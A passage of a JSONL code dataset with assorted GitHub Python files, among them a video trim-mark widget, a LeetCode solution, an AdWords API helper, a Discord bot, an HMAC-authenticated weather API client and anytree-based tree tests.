 def atb_set_out_mark(self,val):\n        self.out_mark = val\n\n    def distance_in_pix(self,frame_pos_0,frame_pos_1):\n        fr0_screen_x,_ = self.bar_space_to_screen((frame_pos_0,0))\n        fr1_screen_x,_ = self.bar_space_to_screen((frame_pos_1,0))\n        return abs(fr0_screen_x-fr1_screen_x)\n\n\n    def bar_space_to_screen(self,pos):\n        width,height = self.window_size\n        x,y=pos\n        y = 1-y\n        x = (x/float(self.frame_count))*(width-self.padding*2) +self.padding\n        y  = y*(height-2*self.padding)+self.padding\n        return x,y\n\n\n    def screen_to_bar_space(self,pos):\n        width,height = glfwGetWindowSize(glfwGetCurrentContext())\n        x,y=pos\n        x  = (x-self.padding)/(width-2*self.padding)*self.frame_count\n        y  = (y-self.padding)/(height-2*self.padding)\n        return x,1-y\n\n    def gl_display(self):\n\n        glMatrixMode(GL_PROJECTION)\n        glPushMatrix()\n        glLoadIdentity()\n        gluOrtho2D(-self.h_pad,  (self.frame_count)+self.h_pad, -self.v_pad, 1+self.v_pad) # ranging from 0 to cache_len-1 (horizontal) and 0 to 1 (vertical)\n        glMatrixMode(GL_MODELVIEW)\n        glPushMatrix()\n        glLoadIdentity()\n\n        color1 = (.1,.9,.2,.5)\n        color2 = (.1,.9,.2,.5)\n\n        if self.in_mark != 0 or self.out_mark != self.frame_count:\n            draw_gl_polyline( [(self.in_mark,0),(self.out_mark,0)],color=(.1,.9,.2,.5),thickness=2)\n        draw_gl_point((self.in_mark,0),color=color2,size=10)\n        draw_gl_point((self.out_mark,0),color=color2,size=10)\n\n        glMatrixMode(GL_PROJECTION)\n        glPopMatrix()\n        glMatrixMode(GL_MODELVIEW)\n        glPopMatrix()","repo_name":"DuongHoangThuy/pupil","sub_path":"pupil_src/player/trim_marks.py","file_name":"trim_marks.py","file_ext":"py","file_size_in_byte":4854,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"15481436992","text":"class Solution:\n    def digitSum(self, n):\n        sm = 0\n        while n != 0:\n            sm += n % 10\n            n //= 10\n        return sm\n    def makeIntegerBeautiful(self, n: int, target: int) -> int:\n        lst = 1 # the number of zeros we want to leave at the end\n        add = 0\n        #if the sum of digits is greater than target, it is most optimal to make the last few digits equal to zero\n        while self.digitSum(n + add) > target:\n            x = 10 ** lst\n            add = x - n % x\n            lst += 1\n        \n        return add","repo_name":"ARYASINGHBJC/LEETCODE","sub_path":"2457-minimum-addition-to-make-integer-beautiful/2457-minimum-addition-to-make-integer-beautiful.py","file_name":"2457-minimum-addition-to-make-integer-beautiful.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"14763876888","text":"#Train-Valid Partitioning\r\nfrom shutil import copy2\r\nimport random\r\nfrom glob import glob\r\nimport os\r\nrandom.seed(17)\r\n\r\n# This is the path where our dataset is stored\r\npath = 'Dataset/Skin_Diseases'\r\n# These are the paths where we intend to store our train & valid sets\r\nvalid = 'Dataset/Valid'\r\ntrain = 'Dataset/Train'\r\n\r\nif not os.path.exists(valid):\r\n\tos.makedirs(valid)\r\nif not os.path.exists(train):\r\n\tos.makedirs(train)\r\n# glob module is used to retrieve files/pathnames matching a specified pattern \r\nfor folder in glob(path+'/*'):\r\n\tprint(folder)\r\n\r\n\t# find number of images in folder\r\n\tno_images_in_folder = len(os.listdir(folder))\r\n\tprint(\"no of images in this folder: {}\".format(no_images_in_folder))\r\n\r\n\t# make new folder inside test and train\r\n\tfolder_valid = valid+'/'+folder.split('\\\\')[1]+'/'\r\n\tfolder_train = train+'/'+folder.split('\\\\')[1]+'/'\r\n\tprint(folder_valid)\r\n\tprint(folder_train)\r\n\r\n\tif not os.path.exists(folder_valid):\r\n\t\tos.makedirs(folder_valid)\r\n\tif not os.path.exists(folder_train):\r\n\t\tos.makedirs(folder_train)\r\n\r\n\tprint('---------------------------------------------\\n')\r\n\r\n\t#Divide the images in Datase to Train set & valdi set by 0.8 : 0.2 ratio\r\n\tvalid_num = int(no_images_in_folder*0.25)\r\n\t\t\r\n\t# Shuffle the data in the folder to divide evenly\r\n\tx = list(enumerate(glob(folder+'/*')))\r\n\trandom.shuffle(x)\r\n\r\n    # iterate from 0 to valid_num and copy to valid_folder\r\n\t# iterate valid_num to end and copy to train_folder\r\n\tcount = 0\r\n\tfor idx, im in x:\r\n\t\tif count <= valid_num:\r\n\t\t# copy to valid\r\n\t\t\tcopy2(im, folder_valid)\r\n\t\t\tcount += 1\r\n\t\telse:\r\n\t\t# copy to train\r\n\t\t\tcopy2(im, folder_train)\r\n\t\t\tcount += 1","repo_name":"IBM-EPBL/IBM-Project-10829-1659236203","sub_path":"Final Deliverables/App/Train-Valid-Seperation.py","file_name":"Train-Valid-Seperation.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"70107502408","text":"def avtaler():\r\n    class avtale:\r\n      def __init__(self, sted, tidspunkt, lengde):\r\n        self.sted = sted\r\n        self.tidspunkt = tidspunkt\r\n        self.lengde=lengde\r\n    \r\n      def __str__(self):\r\n        return f\"  {self.sted} {self.tidspunkt} {self.lengde}\"\r\n    \r\n    x=0\r\n    index=0\r\n    while x ==0:\r\n        janei=input(\"ønsker du å legge til en avtale?: \")\r\n        if janei==\"ja\":\r\n            p1 = avtale(input(\"sted hvor avtalen skjer: \"),input(\"dato og tid avtalen skjer: \"), input(\"Hvor lenge avtalen pågår i hele minutter: \"))\r\n            overskrift=input(\"legg til overskrift: \")\r\n            index+=1\r\n            print()\r\n            print(index,overskrift,p1)\r\n            print()\r\n            x=0\r\n        else:\r\n            x=1\r\n      \r\navtaler()   \r\n\r\n        ","repo_name":"martinPatte/Gruppe29","sub_path":"øving 9 g.py","file_name":"øving 9 g.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36478603113","text":"from googleads.adwords import AdWordsClient\nfrom googleads.oauth2 import GoogleRefreshTokenClient\nfrom googleads.errors import GoogleAdsError\nfrom django.conf import settings\nfrom time import sleep\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\ndef adwords_service(client_customer_id=None):\n    \"\"\"\n    Get an instance of GoogleRefreshTokenClient with configuration as per defined settings\n    and use that to create an instance of AdwordsClient.\n    \"\"\"\n    if not client_customer_id:\n        client_customer_id = settings.GOOGLEADWORDS_CLIENT_CUSTOMER_ID\n\n    oauth2_client = GoogleRefreshTokenClient(\n        client_id=settings.GOOGLEADWORDS_CLIENT_ID,\n        client_secret=settings.GOOGLEADWORDS_CLIENT_SECRET,\n        refresh_token=settings.GOOGLEADWORDS_REFRESH_TOKEN\n    )\n\n    return AdWordsClient(\n        developer_token=settings.GOOGLEADWORDS_DEVELOPER_TOKEN,\n        oauth2_client=oauth2_client,\n        user_agent=settings.GOOGLEADWORDS_USER_AGENT,\n        client_customer_id=client_customer_id\n    )\n\n\ndef paged_request(service, selector={}, number_results=100, start_index=0, retry=True, number_pages=False):\n    \"\"\"\n    Yields paged data as retrieved from the Adwords API.\n\n    Alert Service Example:\n\n    selector = {\n        'query': {\n            'clientSpec': 'ALL',\n            'filterSpec': 'ALL',\n            'types': ['ACCOUNT_BUDGET_BURN_RATE', 'ACCOUNT_BUDGET_ENDING',\n                      'ACCOUNT_ON_TARGET', 'CAMPAIGN_ENDED', 'CAMPAIGN_ENDING',\n                      'CREDIT_CARD_EXPIRING', 'DECLINED_PAYMENT',\n                      'KEYWORD_BELOW_MIN_CPC', 'MANAGER_LINK_PENDING',\n                      'MISSING_BANK_REFERENCE_NUMBER', 'PAYMENT_NOT_ENTERED',\n                      'TV_ACCOUNT_BUDGET_ENDING', 'TV_ACCOUNT_ON_TARGET',\n                      'TV_ZERO_DAILY_SPENDING_LIMIT', 'USER_INVITE_ACCEPTED',\n                      'USER_INVITE_PENDING', 'ZERO_DAILY_SPENDING_LIMIT'],\n            'severities': ['GREEN', 'YELLOW', 'RED'],\n            'triggerTimeSpec': 'ALL_TIME'\n        }\n    }\n    for (data, selector) in paged_request(service='AlertService', number_results=selector=selector):\n        print data\n\n    Targeting Ideas Service Example:\n\n    {{{\n    selector = {\n        'searchParameters': [\n            {\n                'xsi_type': 'RelatedToQuerySearchParameter',\n                'queries': ['seo', 'adwords', 'adwords seo']\n            },\n            {\n                'xsi_type': 'LanguageSearchParameter',\n                'languages': [{'id': '1000'}]\n            },\n            {\n                'xsi_type': 'LocationSearchParameter',\n                'locations': [{'id': '2036'}]\n            },\n        ],\n        'ideaType': 'KEYWORD',\n        'requestType': 'IDEAS',\n        'requestedAttributeTypes': ['KEYWORD_TEXT', 'SEARCH_VOLUME'],\n    }\n\n    for (data, selector) in paged_request('TargetingIdeaService', selector):\n        print data\n\n    }}}\n\n    @param service: A string representing the client service class, ie.. GetTargetingIdeaService\n    @param selector: A dict of values used to specify the request to the API.\n    @param number_results: Results per page.\n    @param start_index: Offset to start results at.\n    @yield data, selector\n    \"\"\"\n    client = adwords_service()\n    service = client.GetService(service, settings.GOOGLEADWORDS_CLIENT_VERSION)\n\n    if 'paging' not in selector:\n        selector['paging'] = {}\n    if start_index is not None:\n        selector['paging']['startIndex'] = str(start_index)\n    if number_results is not None:\n        selector['paging']['numberResults'] = str(number_results)\n\n    more_pages = True\n    page_number = 1\n\n    while more_pages:\n        try:\n            response = service.get(selector)\n            yield response.entries, selector\n\n            # Now, get the next set of results\n            start_index += number_results\n            selector['paging']['startIndex'] = str(start_index)\n            if number_pages:\n                if number_pages >= page_number:\n                    more_pages = False\n            else:\n                more_pages = start_index < int(response.totalNumEntries)\n\n            page_number += 1\n\n        except GoogleAdsError as e:\n            if not retry or not hasattr(e, 'fault') or not hasattr(e.fault, 'detail') or not hasattr(e.fault.detail, 'ApiExceptionFault') or not hasattr(e.fault.detail.ApiExceptionFault, 'errors'):\n                raise\n            retryAfterSeconds = sum([int(fault.retryAfterSeconds) for fault in e.fault.detail.ApiExceptionFault.errors if getattr(fault, 'ApiError.Type') == 'RateExceededError'])\n            if retryAfterSeconds > 0:\n                # We've hit a RateExceededError, sleep for some period of time\n                logger.info(\"Sleeping due to 'RateExceededError' for '%s' seconds.\" % retryAfterSeconds)\n                sleep(retryAfterSeconds)\n            else:\n                # We haven't hit an error we care about, raise it.\n                raise\n","repo_name":"alexhayes/django-google-adwords","sub_path":"django_google_adwords/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"16"}
+{"seq_id":"11234187825","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\n\nimport os\nimport socket\n\nfrom EvaluateService.config_related import ConfigMixin\n\n\nSOCKET_RECEIVE_SIZE = 512\nREBOOT_CODE = 9\nLOCAL_CONFIG_NAME = 'lzqs.ini'\n\n\ndef check_result(func):\n    def wrapper(self, Data, *args, **kwargs):\n        assert isinstance(Data, dict), '传入数据类型错误'\n        # assert 'evaluate' in Data.keys(), '配置数据中无evaluate'\n        if Data['resCode'] != 0:\n            print(f\"系统未找到服务配置\")\n            return None\n        return func(self, Data, *args, **kwargs)\n    return wrapper\n\n\nclass EvaluateConfig(ConfigMixin):\n    def __init__(self):\n        pass\n        self.Config_Data = super().read_service_config('evaluate_service_config')\n\n    def config_parser(self, Url_Path: tuple) -> dict:\n        File_Path = f\"{os.getcwd()}\\\\{LOCAL_CONFIG_NAME}\"\n        Config_Parse = EvaluateConfig.config_reader({File_Path})\n        try:\n            Settings = (Config_Parse['lzqs']['ip'],\n                        Config_Parse['lzqs']['port'],\n                        Config_Parse['lzqs']['org_id'])\n        except KeyError:\n            print(f'文件:{File_Path}配置错误')\n        else:\n            Url_Path = '/'.join(Url_Path)\n            Url = f\"http://{Settings[0]}:{Settings[1]}/{Url_Path}/{Settings[2]}\"\n            print(f\"请求地址:{Url}\")\n            Res = self.request(Url_Path, 'get')\n            return Res\n\n    @check_result\n    def get_service_address(self, Config_Data: dict, Service_Name='evaluate') -> list:\n        '''\n        获取服务的ip和port信息\n        :param: service name, dict data\n        :return: service address list\n        '''\n        Service_Name = Service_Name.lower()\n        Ip_List = socket.gethostbyname_ex(socket.gethostname())[2]\n        Service_Address_List = []\n        # if Config_Data['resCode'] != 0:\n        #     print(f\"系统未配置{Service_Name}服务\")\n        #     return Service_Address_List\n        try:\n            Service_Config_Msg = Config_Data[Service_Name]\n            for i in Service_Config_Msg:\n                Service_Ip = i[f'{Service_Name}ServiceIp']\n                Service_Port = i[f'{Service_Name}ServicePort']\n                # Service_Address = (Service_Ip, Service_Port) if Service_Ip in Ip_List else ()\n                if Service_Ip in Ip_List:\n                    Service_Address = (Service_Ip, Service_Port)\n                    Service_Address_List.append(Service_Address)\n\n        except KeyError:\n            print(f'配置中无{Service_Name}参数')\n        else:\n            return Service_Address_List\n\n    def get_backed_address(self, File_name):\n        try:\n            Config_Parser = self.config_reader({f'{os.getcwd()}\\\\{File_name}'})\n            Lzqs = Config_Parser['lzqs']\n            Address = (Lzqs['ip'], Lzqs['port'], Lzqs['org_id'])\n        except KeyError:\n            print(f'本地配置文件{File_name}错误')\n        else:\n            return Address\n\n    @check_result\n    def get_evaluate_config(self, Data: dict, Sequence=1):\n        Evaluate_Config = dict()\n        Nums = len(Data['evaluate'])\n        for Item in range(0, Nums):\n            Evaluate_Service_Ip = Data['evaluate'][Item]['evaluateServiceIp']\n            Evaluate_Service_Port = Data['evaluate'][Item]['evaluateServicePort']\n            Evaluate_Port = Data['evaluate'][Item]['evaluatePort']\n            Evaluate_Control_Window = Data['evaluate'][Item]['evaluateControlWindow']\n            Evaluate_Config[f\"evaluate{Item+1}\"] = dict(Evaluate_Service_Ip=Evaluate_Service_Ip,\n                                                        Evaluate_Service_Port=Evaluate_Service_Port,\n                                                        Evaluate_Port=Evaluate_Port,\n                                                        Evaluate_Control_Window=Evaluate_Control_Window)\n\n        return Evaluate_Config[f\"evaluate{Sequence}\"]\n\n    # @check_result\n    def window_map(self, Data):\n        Window_List = Data['Evaluate_Control_Window']\n        Evaluate_Port = Data['Evaluate_Port']\n        Map = dict()\n        for Item in Window_List:\n            Window_Name = Item['windowName']\n            Evaluate_Ip = Item['evaluateIp']\n            # Item = {}\n            # Map = {**Map, **Item}\n            Map[Window_Name] = (Evaluate_Ip, Evaluate_Port)\n        return Map\n\n    def tips_map(self, Data):\n        if Data['type'] == 1:\n            Tips = f\"叫号:{Data['ticketNumber']}\"\n        elif Data['type'] == 2:\n            Tips = f\"开始办理:{Data['ticketNumber']}\"\n        elif Data['type'] == 3:\n            Tips = f\"办理结束:{Data['ticketNumber']}\"\n        elif Data['type'] == 4:\n            Tips = f\"窗口：{Data['windowName']}--> 暂停服务\"\n        elif Data['type'] == 5:\n            Tips = f\"窗口：{Data['windowName']}--> 恢复服务\"\n        elif Data['type'] == 6:\n            Tips = f\"更新评价:{Data}\"\n        elif Data['type'] == 7:\n            Tips = f\"窗口：{Data['windowName']} --> 用户登录\"\n        elif Data['type'] == 8:\n            Tips = f\"窗口：{Data['windowName']} --> 用户退出\"\n        else:\n            Tips = ''\n        return Tips\n\n\n\n\n\n\n","repo_name":"doever/qs","sub_path":"EvaluateService/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":5170,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"6893012211","text":"from discord.ext import commands\nimport os\nfrom dotenv import load_dotenv\nfrom db import mongo_setup\nfrom db.prefixes import Prefix\n\nmongo_setup.global_init()\n\n\ndef get_prefix(client, message) -> Prefix:\n    for pref in Prefix.objects:\n        if pref._guild_id == str(message.guild.id):\n            return pref._prefix\n\n\nclient = commands.Bot(command_prefix=get_prefix)\nclient.remove_command('help')\n\n\n@client.event\nasync def on_ready():\n    print(\"Uniques is ready for some development\")\n    client.load_extension('cogs.commands')\n    client.load_extension('cogs.help')\n\n\n@client.command()\nasync def load(ctx, extension):\n    await client.load_extension(f'cogs.{extension}')\n\n\n@client.command()\nasync def unload(ctx, extension):\n    await client.unload_extension(f'cogs.{extension}')\n\n\n@client.command()\nasync def reload(ctx, extension):\n    await client.reload_extension(f'cogs.{extension}')\n\nload_dotenv()\ntoken = os.getenv(\"DISCORD_TOKEN\")\nclient.run(token)\n","repo_name":"XanderWatson/uniques-bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"36021090601","text":"def insertarray(array,n):\n    for j in range(n):\n        array.append(int(input(\"input \")))\n    print(array)\ndef countpairsum(array1,array2,n1,n2,x):\n    count = 0\n    for n in range(n1):\n        m = n2 -1\n        while m >= 0 :\n            if array1[n]+array2[m] == x :\n                count += 1\n            elif array1[n]+array2[m] < x :\n                break\n            m = m-1\n    print(count)\nif __name__==\"__main__\":\n    t =int(input(\"t \"))\n    for i in range(t):\n        array1 = []\n        array2 = []\n        n1 = int(input(\"n1 \"))\n        n2 = int(input(\"n2 \"))\n        insertarray(array1,n1)\n        insertarray(array2,n2)\n        x = int(input(\"x \"))\n        countpairsum(array1,array2,n1,n2,x)\n","repo_name":"aarjukhicher/geeksprogram","sub_path":"Sorting/count_pairsum.py","file_name":"count_pairsum.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2112973487","text":"import requests\r\nfrom requests.auth import AuthBase\r\nfrom Crypto.Hash import HMAC\r\nfrom Crypto.Hash import SHA256\r\nfrom datetime import datetime\r\nfrom dateutil import tz\r\n\r\n\r\nclass AuthHmacMetos(AuthBase):\r\n    \"\"\"Creates HMAC authorization header for Metos REST service POST request.\"\"\"\r\n    def __init__(self, apiRoute, publicKey, privateKey, method):\r\n        self._publicKey = publicKey\r\n        self._privateKey = privateKey\r\n        self._method = method\r\n        self._apiRoute = apiRoute\r\n\r\n    def __call__(self, request):\r\n        dateStamp = datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')#'Mon, 23 Jul 2018 13:24:09 GMT'#\r\n        request.headers['Date'] = dateStamp\r\n        msg = (self._method + self._apiRoute + dateStamp + self._publicKey).encode(encoding='utf-8')\r\n        h = HMAC.new(self._privateKey.encode(encoding='utf-8'), msg, SHA256)\r\n        signature = h.hexdigest()\r\n        authorizationStr = 'hmac ' + self._publicKey + ':' + signature\r\n        request.headers['Authorization'] = authorizationStr\r\n        #print('HMAC header decrypted: {}'.format(msg)\r\n        #print('Accept: {}'.format(request.headers['Accept']))\r\n        #print('Authorization: {}'.format(request.headers['Authorization']))\r\n        #print('Date: {}'.format(request.headers['Date']))    \r\n        return request\r\n\r\nclass FcApi:\r\n    \"\"\"Sets API endpoint URL for GET and POST requests.\"\"\"\r\n    def __init__(self, apiUri, publicKey, privateKey):\r\n        self._apiUri = apiUri\r\n        self._publicKey = publicKey\r\n        self._privateKey = privateKey\r\n\r\n    def __checkStatus(self, response, auth, route):\r\n        response.close()\r\n        print(\" > {} {}\".format(auth._method, self._apiUri + route))\r\n        if response.status_code != 200:\r\n            print(\" > {} {}\".format(response.status_code, response.reason))\r\n\r\n    def get(self, route):\r\n        #remove parameters from the route for signature calculation\r\n        auth = AuthHmacMetos(route.split('?', 1)[0], self._publicKey, self._privateKey, 'GET')\r\n        response = requests.get(self._apiUri + route, headers={'Accept': 'application/json'}, auth=auth)\r\n        response.close()\r\n        self.__checkStatus(response, auth, route)\r\n        return response\r\n\r\n    def post(self, route, payload):\r\n        auth = AuthHmacMetos(route.split('?', 1)[0], self._publicKey, self._privateKey, 'POST')\r\n        response = requests.post(self._apiUri + route, data=payload, headers={'Accept': 'application/json'}, auth=auth)\r\n        response.close()\r\n        self.__checkStatus(response, auth, route)\r\n        return response\r\n\r\n    def put(self, route, payload):\r\n        auth = AuthHmacMetos(route.split('?', 1)[0], self._publicKey, self._privateKey, 'PUT')\r\n        response = requests.put(self._apiUri + route, data=payload, headers={'Accept': 'application/json'}, auth=auth)\r\n        response.close()\r\n        self.__checkStatus(response, auth, route)\r\n        return response\r\n\r\n    def getEpochs(self, timestamp, station_timezone=None):\r\n        \"\"\"\r\n        Convert given datetime to UNIX epochs in local station timezone\r\n\r\n        timestamp        -- e.g. datetime(2018, 10, 10, 0, 0, 0)\r\n        station_timezone -- e.g. tz.tzlocal()\r\n        \"\"\"\r\n        if station_timezone is None:\r\n            station_timezone = tz.tzlocal()\r\n        # conversion to POSIX seconds\r\n        t0 = datetime(1970, 1, 1).replace(tzinfo=station_timezone)\r\n        return int((timestamp.replace(tzinfo=station_timezone) - t0).total_seconds())\r\n","repo_name":"onemario/METOS","sub_path":"APIv2/Python/fc_api.py","file_name":"fc_api.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"29583439091","text":"import numpy as np\nimport cv2\nimport time\n\ncap = cv2.VideoCapture(1)\n\n#frame rate\nfps = cap.get(cv2.CAP_PROP_FPS)\nprint('fps value:', fps)\n\n# width and heigt\nw = cap.get(cv2.CAP_PROP_FRAME_WIDTH)\nh = cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\nprint('(width, height)', w, h)\n\n# # Setting width and height (640, 480) -> (320,320)\n# cap.set(cv2.CAP_PROP_FRAME_WIDTH, 320)\n# cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 320)\n\n#time\nprev_time = 0\ncurrent_time = 0\n\nwhile True:\n    ret, img = cap.read()\n\n    #Measure FPS\n    current_time = time.time()\n    fps_m = 1 /(current_time - prev_time)\n    prev_time = current_time\n    print('fps measured', fps_m)\n\n\n    cv2.imshow('Frame',img)\n\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\n\ncap.release()\ncv2.destroyAllWindows()\n\n\n","repo_name":"kotai2003/OpenCV_Lectures","sub_path":"01.Controlling-Video/Camera-Control.py","file_name":"Camera-Control.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71234344327","text":"from vertex import Vertex\n\nclass Graph:\n    def __init__(self, directed=False):\n        self.directed = directed \n        self.graph_dict = {}\n\n    def add_vertex(self, vertex):\n        print('Adding vertex {}'.format(vertex.value[0]))\n        self.graph_dict[vertex.value[0]] = vertex \n\n    def add_edge(self, from_vertex, to_vertex, weight=0):\n        self.graph_dict[from_vertex.value[0]].add_edge(to_vertex.value[0], weight)\n        if not self.directed:\n            self.graph_dict[to_vertex.value[0]].add_edge(from_vertex.value[0], weight)\n        \n    def find_path(self, start_vertex, end_vertex):\n        start = [start_vertex]\n        seen = {}\n        while len(start) > 0:\n            current_vertex = start.pop()\n            #print(current_vertex)\n            seen[current_vertex] = True \n\n            if current_vertex == end_vertex:\n                print(\"Link found! \")\n                return \n            else:\n                vertex = self.graph_dict[current_vertex]\n                next_vertices = vertex.get_edges()\n                next_vertices = [vertex for vertex in next_vertices if not vertex in seen]\n                start.extend(next_vertices)\n        \n        print(\"There is no link between the two modems\")\n        return  \n\n\n\n\n","repo_name":"GEEGABYTE1/Connection","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"28280306351","text":"import pytest\n\nimport anytree\nimport anytree.exporter\n\nfrom sprog import tree, utils\n\n\ndef test_load_and_save_tree():\n    outprefix = \"tmp.test_tree\"\n    utils.syscall(f\"rm -rf {outprefix}*\")\n    tmp_newick = f\"{outprefix}.newick\"\n    tmp_tsv = f\"{outprefix}.tsv\"\n    tmp_json = f\"{outprefix}.json\"\n\n    # Tree looks like this:\n    #                ┌─subsp1\n    #     ┌─speciesA─┤\n    #     │          └─subsp2\n    # ────┤\n    #     ├─speciesB\n    #     └─speciesC\n    expect_tree_root = anytree.Node(\"root\")\n    speciesA = anytree.Node(\"speciesA\", parent=expect_tree_root)\n    anytree.Node(\"speciesB\", parent=expect_tree_root)\n    anytree.Node(\"speciesC\", parent=expect_tree_root)\n    anytree.Node(\"subsp1\", parent=speciesA)\n    anytree.Node(\"subsp2\", parent=speciesA)\n    exporter = anytree.exporter.JsonExporter(indent=2, sort_keys=True)\n    expect_json = exporter.export(expect_tree_root)\n    expect_nodes = [\"root\", \"speciesA\", \"speciesB\", \"speciesC\", \"subsp1\", \"subsp2\"]\n\n    with open(tmp_newick, \"w\") as f:\n        print(\"((subsp1,subsp2)speciesA,speciesB,speciesC);\", file=f)\n\n    with open(tmp_tsv, \"w\") as f:\n        print(\"speciesA\", \"subsp1\", sep=\"\\t\", file=f)\n        print(\"speciesA\", \"subsp2\", sep=\"\\t\", file=f)\n        print(\"speciesB\", sep=\"\\t\", file=f)\n        print(\"speciesC\", sep=\"\\t\", file=f)\n\n    t = tree.Tree(tmp_newick)\n    assert t.to_json(filename=tmp_json) == expect_json\n    assert sorted(list(t.nodes.keys())) == expect_nodes\n    assert [t.nodes[x].name for x in sorted(t.nodes)] == expect_nodes\n\n    t = tree.Tree(tmp_tsv)\n    assert t.to_json() == expect_json\n    assert sorted(list(t.nodes.keys())) == expect_nodes\n    assert [t.nodes[x].name for x in sorted(t.nodes)] == expect_nodes\n\n    t = tree.Tree(tmp_json)\n    assert t.to_json() == expect_json\n    assert sorted(list(t.nodes.keys())) == expect_nodes\n    assert [t.nodes[x].name for x in sorted(t.nodes)] == expect_nodes\n\n    assert t.find_node_by_name(\"speciesC\").name == \"speciesC\"\n    assert t.find_node_by_name(\"not_in_tree\") is None\n\n    utils.syscall(f\"rm -f {outprefix}*\")\n\n\ndef test_leaf_combo_parent_nodes():\n    outprefix = \"tmp.test_leaf_combo_parent_nodes\"\n    utils.syscall(f\"rm -rf {outprefix}*\")\n    tmp_newick = f\"{outprefix}.newick\"\n    with open(tmp_newick, \"w\") as f:\n        print(\n            \"(((subsp1,subsp2,subsp3)speciesA,speciesB,speciesC)genus1,(speciesX,speciesY)genus2);\",\n            file=f,\n        )\n    t = tree.Tree(tmp_newick)\n    # print(anytree.RenderTree(t.tree_root, style=anytree.render.ContStyle()))\n    # tree looks like this:\n    #    Node('/root')\n    # ├── Node('/root/genus1')\n    # │   ├── Node('/root/genus1/speciesA')\n    # │   │   ├── Node('/root/genus1/speciesA/subsp1')\n    # │   │   ├── Node('/root/genus1/speciesA/subsp2')\n    # │   │   └── Node('/root/genus1/speciesA/subsp3')\n    # │   ├── Node('/root/genus1/speciesB')\n    # │   └── Node('/root/genus1/speciesC')\n    # └── Node('/root/genus2')\n    #    ├── Node('/root/genus2/speciesX')\n    #    └── Node('/root/genus2/speciesY')\n\n    leaf_names = [\n        \"subsp1\",\n        \"subsp2\",\n        \"subsp3\",\n        \"speciesB\",\n        \"speciesC\",\n        \"speciesX\",\n        \"speciesY\",\n    ]\n    t.init_leaf_combination_data(leaf_names)\n    # check leaf combinations correct. The values are actually Node\n    # objects. We check the names match instead of creating nodes\n    expect = [\n        ({0, 1, 2, 3, 4, 5, 6}, \"root\"),\n        ({0, 1, 2, 3, 4}, \"genus1\"),\n        ({0, 1, 2}, \"speciesA\"),\n        ({5, 6}, \"genus2\"),\n    ]\n    assert sorted(expect) == sorted((x[0], x[1].name) for x in t.leaf_combos)\n\n    got = t.leaf_combo_parent_nodes({0}, min_prop_contain=0.95, max_prop_outside=0.05)\n    assert got.name == \"subsp1\"\n    got = t.leaf_combo_parent_nodes({1}, min_prop_contain=0.95, max_prop_outside=0.05)\n    assert got.name == \"subsp2\"\n    got = t.leaf_combo_parent_nodes({2}, min_prop_contain=0.95, max_prop_outside=0.05)\n    assert got.name == \"subsp3\"\n    got = t.leaf_combo_parent_nodes(\n        {0, 1}, min_prop_contain=0.95, max_prop_outside=0.05\n    )\n    assert got is None\n    got = t.leaf_combo_parent_nodes(\n        {0, 1}, min_prop_contain=0.68, max_prop_outside=0.05\n    )\n    assert got is None\n    got = t.leaf_combo_parent_nodes(\n        {0, 1}, min_prop_contain=0.66, max_prop_outside=0.05\n    )\n    assert got.name == \"speciesA\"\n    got = t.leaf_combo_parent_nodes(\n        {0, 1, 4}, min_prop_contain=0.66, max_prop_outside=0.05\n    )\n    assert got is None\n    got = t.leaf_combo_parent_nodes(\n        {0, 1, 4}, min_prop_contain=0.66, max_prop_outside=0.5\n    )\n    assert got.name == \"speciesA\"\n    utils.syscall(f\"rm -f {outprefix}*\")\n\n\ndef test_leaf_combinations_to_nodes():\n    outprefix = \"tmp.test_leaf_combos\"\n    utils.syscall(f\"rm -rf {outprefix}*\")\n    tmp_newick = f\"{outprefix}.newick\"\n    with open(tmp_newick, \"w\") as f:\n        print(\"((subsp1,subsp2)speciesA,speciesB,speciesC);\", file=f)\n    t = tree.Tree(tmp_newick)\n    leaf_names = [\"subsp1\", \"subsp2\", \"speciesB\", \"speciesC\"]\n    got = t.leaf_combinations_to_nodes(leaf_names)\n    assert len(got) == 6\n    assert got[(0,)].name == \"subsp1\"\n    assert got[(1,)].name == \"subsp2\"\n    assert got[(0, 1)].name == \"speciesA\"\n    assert got[(2,)].name == \"speciesB\"\n    assert got[(3,)].name == \"speciesC\"\n    assert got[(0, 1, 2, 3)].name == \"root\"\n    utils.syscall(f\"rm -f {outprefix}*\")\n","repo_name":"iqbal-lab-org/sprog","sub_path":"tests/tree_test.py","file_name":"tree_test.py","file_ext":"py","file_size_in_byte":5501,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
